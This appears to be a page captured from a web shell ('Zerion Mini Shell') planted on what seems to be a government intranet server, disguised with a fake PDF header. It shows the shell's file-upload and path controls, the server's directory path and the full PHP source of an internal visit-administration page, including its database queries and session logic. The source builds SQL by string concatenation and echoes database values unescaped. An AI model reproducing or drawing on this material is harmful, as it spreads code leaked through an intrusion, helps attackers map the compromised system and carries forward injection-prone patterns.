%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/visitaduria/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/visitaduria/visitaduria_admin.php

<?php
 ini_set("allow_url_fopen", 1);
    $conf = new Configuracion();
    $conf->conectarBD();
    
    $firmaQ = ' 1 = 1 ';
    if($_SESSION['id_estatus'] == 6)
        $firmaQ = ' firma = 0 ';
    $firmaQ = ' 1 = 1 ';
    $id_usuario = $_SESSION['id_usuario'];
    $id_personal          =  isset($_REQUEST['id_personal']) ? $_REQUEST['id_personal'] : $id_usuario;
    
        $ver          =  isset($_REQUEST['ver']) ? $_REQUEST['ver'] : 0;
    

    $noti       = isset($_REQUEST['noti']) ? $_REQUEST['noti'] : 0;
       $anio       = isset($_REQUEST['anio']) ? $_REQUEST['anio'] : date('Y');
   //Consulta datos de la persona desde oficialia rh
   $consulta = "
SELECT 
    vt.*,
    IFNULL(firmas.firmados, 0) AS firmados,
    IFNULL(firmas.no_firmados, 0) AS no_firmados
FROM 
    visitaduria_titulos vt
INNER JOIN 
    visitaduria_participantes vp ON vp.id_titulo = vt.id
LEFT JOIN (
    SELECT 
        id_titulo,
        COUNT(CASE WHEN firmado = 1 THEN 1 END) AS firmados,
        COUNT(CASE WHEN firmado = 0 THEN 1 END) AS no_firmados
    FROM 
        visitaduria_participantes

    GROUP BY 
        id_titulo
) firmas ON firmas.id_titulo = vt.id

GROUP BY 
    vt.id
ORDER BY 
    vt.id ASC
";

    $rst1 = $conf->consulta($consulta);
    
    

    $error	    = isset($_REQUEST['error']) ? $_REQUEST['error'] : '0';

    //include 'modal_firmar_nomina.php';
    include 'modalFirma.php';
?>
<style>
.ver-pdf-btn {
    background-color: #d9534f; /* rojo estilo Bootstrap danger */
    border-color: #d43f3a;
    transition: opacity 0.3s ease;
}

.ver-pdf-btn:hover {
    opacity: 0.8;
    text-decoration: none;
}

.ver-acta-btn {
    background-color: #5fd1da; /* rojo estilo Bootstrap danger */
    border-color: #5bccd5;
    transition: opacity 0.3s ease;
}

.ver-acta-btn:hover {
    opacity: 0.8;
    text-decoration: none;
}

.ver-part-btn {
    background-color: #449d44; /* rojo estilo Bootstrap danger */
    border-color: #50b750;
    transition: opacity 0.3s ease;
}

.ver-part-btn:hover {
    opacity: 0.8;
    text-decoration: none;
}
</style>
<div class="page-content">
    <div class="row">
        <?php
            //En caso de venir de una notificacion
            $ip = $_SERVER['REMOTE_ADDR'];
            if($noti == 1){
                $sql1 = "UPDATE notificaciones SET estatus = 1,ip_destino = '$ip',fecha_leido = now() WHERE url = 'sistemas/usuarios/page_nomina.php?noti=1' AND id_empleado_dest = $id_usuario";
                $rst2 = $conf->actualizacion($sql1);
            } else if ($noti == 0)
            {
                $sql2 = "SELECT * FROM notificaciones WHERE url='sistemas/usuarios/page_nomina.php' AND id_empleado_dest = $id_usuario";
                $rst2 = $conf->consulta($sql2);
                if(count($rst2) > 0)
                {
                    $sql3 = "UPDATE notificaciones SET estatus = 1,ip_destino = '$ip',fecha_leido = now() WHERE url = 'sistemas/usuarios/page_nomina.php?noti=1' AND id_empleado_dest = $id_usuario";
                    $rst3 = $conf->actualizacion($sql3);
                }
            }
        ?>

        <div class="col-md-12">
            <div id="generalTabContent" class="tab-content">
                <div id="tab-messages" class="tab-pane fade in active">  
                    <div class="portlet box">
                   
                        <div class="demo-btn">

                                                <div class="row mbm center">

                                                    <a href="page_add_visita.php?app=2&tic=0" class="btn btn-success">Agregar Visita

                                                &nbsp;<i class="fa fa-plus"></i></a> </div></div>
                        
                        
                        <div class="portlet-body">
                            <div class="row mbm">
                                <div class="col-lg-12">
                                    <div class="table">
                                        <table id="table_id2" style="border-bottom:1px solid #ddd"
                                               class="table table-striped table-bordered table-hover">
                                            <thead>
                                                <tr>
                                                    <th>#</th>
                                                    <th>Fecha</th>
                                                    <th>Titulo de la Visita</th>
                                                    <th>PDF</th>
                                                    <th>Acta</th>
                                                    <th>Participantes</th>
                                                    <th>Acuse final</th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                <?php
                                                    for($i = 0; $i < count($rst1); $i++)
                                                    {   
                                                        $id_visita = $rst1[$i]["id"];
                                                        echo "<tr>";
                                                            echo "<td>".($i+1)."</td>";
                                                            echo "<td>".$rst1[$i]["fecha_visita"]."</td>";
                                                            echo "<td>".$rst1[$i]["titulo"]."</td>";
                                                            echo '<td>';
                                                            
                                                             echo      ' <button type="button" class="btn btn-danger btn-sm ver-pdf-btn" onclick="window.open(\'' . $rst1[$i]["url_pdf"] . '\', \'_blank\')">Ver PDF <i class="fa fa-file-pdf-o"></i></button>';
                                                                    
                                                            echo '</td>';
                                                            
                                                            echo '<td>';
                                                            
                                                             echo      ' <button type="button" class="btn btn-sm ver-acta-btn" onclick="window.location.href=\'page_edit_acta.php?id_titulo=' . $id_visita . '\'">Ver/Editar Acta <i class="fa fa-file-o"></i></button>';
                                                                    
                                                            echo '</td>';
                                                            
                                                            
                                                                                            
                                                            echo '<td>';
                                                            
                                                             echo      ' <button type="button" class="btn btn-success passingID" data-id="' . $id_visita . '">Participantes <i class="fa fa-users"></i></button>';
                                                                    
                                                            echo '</td>';
                                                            
                                                            echo '<td>';
                                                            
                                                            if ($rst1[$i]["no_firmados"] == 0 && $rst1[$i]["finalizado"] == 1) {
                                                                echo      ' <button type="button" class="btn btn-danger btn-sm ver-pdf-btn" onclick="window.open(\'' . $rst1[$i]["url_acuse"] . '\', \'_blank\')">Ver Acuse Final <i class="fa fa-file-pdf-o"></i></button>';
                                                            } else if($rst1[$i]["no_firmados"] == 0 && $rst1[$i]["finalizado"] == 0){
                                                                echo '<a href="controller/acuse_final.php?id=' . $id_visita . '" class="btn btn-primary">
                                                                        Finalizar Visita <i class="fa fa-file"></i>
                                                                      </a>';
                                                            }else {
                                                                echo '<p>Faltan participantes por firmar el acta</p>';
                                                            }
                                                            
                                                             
                                                                 
                                                            echo '</td>';
                                                            echo '</tr>';
                                                    }//fin del for
                                                    $conf->desconectarDB();
                                                ?>
                                            </tbody>
                                        </table>
                                        
                                        
                                        
                                    </div>
                                </div>
                            </div> 
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    <!-- Modal -->
<div class="modal fade" id="modalParticipantes" tabindex="-1" role="dialog" aria-labelledby="modalLabel" aria-hidden="true">
  <div class="modal-dialog modal-lg" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title">Participantes</h5>
        <button type="button" class="close" data-dismiss="modal" aria-label="Cerrar">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body">
        <!-- Aquí va la tabla -->
        <div id="tablaParticipantes">
          <p class="text-center">Cargando participantes...</p>
        </div>
      </div>
    </div>
  </div>
</div>
    <script>

        $(".passingID").click(function () {
            var idTitulo = $(this).data('id');

    // Mostrar el modal
    $('#modalParticipantes').modal('show');

    // Cargar los datos por AJAX
    $.ajax({
        url: 'controller/ajax_obtener_participantes.php',
        type: 'POST',
        data: { id_titulo: idTitulo },
        success: function (data) {
            $('#tablaParticipantes').html(data);
        },
        error: function () {
            $('#tablaParticipantes').html('<div class="alert alert-danger">Error al cargar los datos.</div>');
        }
    });
        });
        
        /*window.onload = function() {
            alert('Por favor, elija el año en el que desea consultar sus nóminas.');
        };*/
    </script>
</div>

Zerion Mini Shell 1.0